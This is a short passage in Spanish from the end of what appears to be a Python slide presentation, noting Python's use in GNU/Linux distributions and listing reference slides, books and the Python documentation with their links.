 Diversas distribuciones de GNU/Linux utilizan Python
para configuración, gestión de paquetes, etc.

Referencias
 Transparencias de Python de Diego López de Ipiña
 http://paginaspersonales.deusto.es/dipina/
 Transparencias de Python de Pablo Orduña de Julio
2005
 http://nctrun.e-ghost.net/
 Libro “Dive into Python”
 http://diveintopython.org
 Está bajo licencia GNU FDL, disponible incluso en apt-get
 Libro “Python Programming Patterns” (Prentice Hall)
 http://vig.prenhall.com/catalog/academic/product/1,4096,0130409561,00. Libro “Programming Python”
http://www.oreilly.com/catalog/python2/
 Libro “Jython essentials”
http://www.oreilly.com/catalog/jythoness/
 Documentación de Python: http://docs.python.org

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